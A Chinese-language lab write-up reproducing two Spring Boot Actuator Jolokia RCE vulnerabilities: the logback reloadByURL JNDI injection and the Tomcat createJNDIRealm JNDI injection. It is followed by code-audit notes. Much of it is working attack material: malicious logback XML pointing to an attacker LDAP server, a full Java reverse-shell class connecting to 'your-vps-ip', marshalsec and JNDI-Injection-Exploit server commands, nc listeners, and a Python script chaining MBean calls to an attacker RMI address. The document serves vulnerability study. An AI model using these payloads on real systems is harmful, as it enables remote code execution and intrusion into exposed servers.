Springboot_jolokia——RCE漏洞复现
Springboot_jolokia_logback漏洞复现

前言:
Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口。其中,该产品提供了一个API,用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。
两个漏洞都是Jolokia配置不当导致的RCE漏洞
漏洞一、jolokia logback JNDI RCE
漏洞分析:
Jolokia服务提供了一个代理模式,对于1.5.0之前的版本来说,默认情况下该模式含有一个JNDI注入漏洞。当Jolokia以代理模式进行部署时,可以访问Jolokia Web端点的外部攻击者能够利用JNDI注入攻击远程执行任意代码。这种注入攻击之所以能够得手,是因为Jolokia库使用用户提供的输入来启动LDAP/RMI连接。
在BlackHat USA 2016大会上,HP Enterprise就解释过JNDI攻击,同时,他们还展示了一些将JNDI攻击转换为远程执行代码的方法。
当第三方系统在代理模式下使用Jolokia服务的时候,该系统可以通过Jolokia端点执行远程代码。虽然端点被视为Jolokia的一个组件,但是Jolokia并没有为这个端点提供任何认证机制来保护服务器免受任意攻击者的攻击——尽管其官方文档强烈推荐提供认证机制。
Spring Boot Actuator jolokia 配置不当导致的rce漏洞
原理:
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
- 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
- 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
利用条件:
- 目标网站存在 /jolokia 或 /actuator/jolokia 接口
- 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
- ldap 注入可能会受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1
因为后续版本已经修复补丁,无法远程调用加载恶意类,注意使用对应版本的jdk不然后面JDNI注入无法利用,这里我使用的java jdk版本是8u181
jdk8u181下载地址:Windows平台
https://gitcode.com/open-source-toolkit/2c17a0/?utm_source=tools_gitcode&index=top&type=card
这也有高版本绕过的方式
https://xz.aliyun.com/news/9485
搭建环境:
漏洞环境为:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce
下载漏洞复现环境,使用idea启动

访问项目启动的url
http://localhost:9094/jolokia
出现如下界面代表成功

这里使用了的火狐自带的方便看json数据的插件

复现过程:
01.查看已存在的 MBeans:
/jolokia/list 接口搜索关键字:
ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL


02:创建托管的xml文件
在自己 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 poc.xml 文件,内容如下:
/JNDIObject保证和后续的class文件名要一致,your-vps-ip替换为vps地址,端口要保证后后续的恶意 ldap 服务的端口一致
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/Evil" as="appName" />
</configuration>
03:准备恶意调用类
创建一个弹计算器的恶意类Evil.java在vps上,如下代码:
public class Evil{
public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
这里给出另外一个完整的poc代码命名为JNDIObject.java
//请自行修改代码中反弹shell的ip和端口
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "80";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
使用兼容低版本 jdk 的方式编译:
javac -source 1.5 -target 1.5 Evil.java

生成了恶意类Evil.class文件备用, 文件拷贝到刚刚用py开启的网站根目录
04:架设恶意 ldap 服务
下载 marshalsec ,
https://github.com/ianxtianxt/marshalsec
这里发的是源码,需要用mvn编译marshalsec
# 克隆仓库
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
# 进入目录
cd JNDI-Injection-Exploit
# 打包(跳过测试)
mvn clean package -DskipTests
编译完成后,JAR 包会生成在target/目录下,文件名:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用下面命令架设对应的 ldap 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#Evil 1389

05:访问url触发漏洞
http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip:8080!/poc.xml

成功加载恶意类弹出计算器
此时,vps上的日志回显有两条
python服务:

ldap服务:

注意:如果目标成功请求了poc.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求Evil.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
06:反弹shell到vps上
试试别的操作:(反弹shell到vps上)
使用上面的完整的poc代码命名为JNDIObject.java
ps:注意修改ip和端口
完成后编译恶意类
javac -source 1.5 -target 1.5 JNDIObject.java
生成的JNDIObject.class放在python起的web服务根目录下面
修改poc.xml文件为ian.xml,修改内容如下:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
架设idap服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#JNDIObject 1389

启动nc监听反弹 shell 的端口
nc -lvvp 你上一步代码里设置的端口

同样访问漏洞url触发漏洞
http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip:8080!/ian.xml

成功反弹回漏洞环境上windows的shell,且能执行任意命令
vps日志如下:


07:尝试用别的工具打
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
工具安装:
直接从项目 Release 页下载成品 JAR 包:
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
启动工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A your-vps-ip
修改 ian.xml(替换 LDAP 链接)
将你 VPS 上的 poc.xml 内容改为指向工具生成的 LDAP 链接(替换掉之前指向 marshalsec 的地址):
<configuration>
<!-- 替换为工具生成的 LDAP 链接 -->
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/8alhwo" as="appName" />
</configuration>
启动nc监听和python的web服务


触发漏洞(和之前操作一致)
http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/IP:8080!/ian.xml
若你想简化,也可将 poc.xml 直接放在工具的 HTTP 服务(8180 端口)下,触发 URL 改为:
http://localhost:9094/actuator/jolokia/exec/.../reloadByURL/http:!/!/IP!/poc.xml
虽然有报错,但是也是成功触发弹出计算器

使用javaChains平台打
进入平台后选择JNDI控制器点击一键启动,启动JNDI服务


选择命令执行将生成的随机命令和之前的ian.xml进行替换
ldap://IP:50389/57ee36
<configuration>
<insertFromJNDI env-entry-name="ldap://IP:50389/57ee36" as="appName" />
</configuration>
同样在XML文件目录下启动pythonWeb服务
python3 -m http.server 8080
访问url触发漏洞
http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/IP:8080!/ian.xml
pythonWeb服务日志显示读取到了ian.xml文件

同样执行成功弹出计算器

idea日志中也有相关显示信息;

ps:复现完漏洞记得关闭关闭平台的JNDI服务
代码审计
在springframework包下的JolokiaMvcEndpoint类中,继承了父类的有参构造,只要节点为jolokia的请求都会经过handler方法

在JmxRequestFactory#createGetRequest方法中使用 Stack<String> elements = EscapeUtil.extractElementsFromPath(pathInfo)通过"/"对路径进行解析。使用!/ 保留/

再进入reloadByURL方法查看
在JMXConfigurator#reloadByURL方法使用JoranConfigurator对象进行配置加载

跟进这个方法,将资源内容输入到流控制器给到in变量,再去调用 doConfigure方法
在doConfigure方法,构建了一个输入流对象接着获取systemId。再去调用doConfigure方法
跟进doConfigure方法,在recorder.recordEvents中去解析xml文件

解析xml文件

解析完xml文件内容之后,再一次调用了doConfigure方法

步过后又去调用了一个play方法

在play方法中对xml文件内容进行了遍历,第二遍遍历到了ldap

跟进startElement方法,

发现又调用了startElement方法。其调用了callBeginAction方法

跟进callBeginAction方法,调用begin方法

跟进begin方法,使用ec.subst解析xml文件内容获取值,直接跳到第三个循环中。可以看到调用了JNDIUtil.lookup方法访问恶意的ldap服务

漏洞二:jolokia Realm JNDI RCE
漏洞分析
Jolokia是一个用来访问远程 JMX MBeans的方法,它允许对所有已经注册的MBean进行Http访问
- 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
- 设置 connectionURL 地址为 RMI Service URL
- 设置 contextFactory 为 RegistryContextFactory
- 停止 Realm
- 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
利用条件
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
利用脚本
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py
漏洞环境
仍然采用和漏洞一同样的环境。
启动项目后访问http://localhost:9094/jolokia/list
复现过程:
复现过程和漏洞一差不多,这里我直接省去步骤使用工具打
01.查看已存在的 MBeans:
/jolokia/list 接口搜索关键字: type=MBeanFactory 和 createJNDIRealm


03.架设恶意的RMI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A vps_ip

使用jdk1.8中的rmi服务:
rmi://IP:1099/d1c8zq
02.修改POC脚本:

修改其中的url和rmi行的代码
04:反弹shell到vps:
启动nc服务:
nc -lvvp 443
执行poc后
成功在vps接收到日志:

nc也接受到了信息

使用别的工具打
或者使用之前漏洞一的完整poc脚本来生成class文件
使用python在生成的class文件根目录下启动web服务

架设恶意 rmi 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#JNDIObject 1389
nc监听反弹 shell 的端口(注意这个端口要和之前的poc脚本一致)
nc -lvvp 80
使用EXP:
url = ‘http://localhost:9094/jolokia/' 改为漏洞地址
“value”: “rmi://192.168.144.27:1389/#JNDIObject” 改为自己的RMI地址
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
import requests
url = 'http://localhost:9094/jolokia/'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://192.168.144.27:1389/#JNDIObject"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i,verify=False)
r.json()
print(r.status_code)

成功在vps接收到日志:

nc也接受到了信息

代码审计
在 org\apache\tomcat\embed\tomcat-embed-core\8.5.15\tomcat-embed-core-8.5.15.jar!\org\apache\catalina\mbeans\MBeanFactory.class找到了 createJNDIRealm的定义

总结:和JNDI差不多的利用过程,只不过rmi不需要解析xml文件
自动化工具&检测脚本
jolokia Realm JNDI RCE 漏洞检测,并获取明文密码:
https://github.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check

Jolokia 利用工具包(JET)帮助利用暴露的 Jolokia 端点:
https://github.com/laluka/jolokia-exploitation-toolkit

Realm JNDI利用脚本:
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py
参考:
jdk不同版本的利用
https://xz.aliyun.com/t/10035
Spring Boot Actuator jolokia 配置不当导致的rce漏洞
https://github.com/Ares-X/VulWiki/blob/master/Web%E5%AE%89%E5%85%A8/Spring%20Boot/Spring%20Boot%20Actuator%20jolokia%20%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84rce%E6%BC%8F%E6%B4%9E.md
Spring Boot漏洞exploit利用方法渗透技巧汇总
https://www.freebuf.com/articles/web/271347.html
Spring未授权REC利用方式三(jolokia接口/jolokia Realm JNDI RCE
https://www.cnblogs.com/hei-zi/p/14344743.html
- 感谢你赐予我前进的力量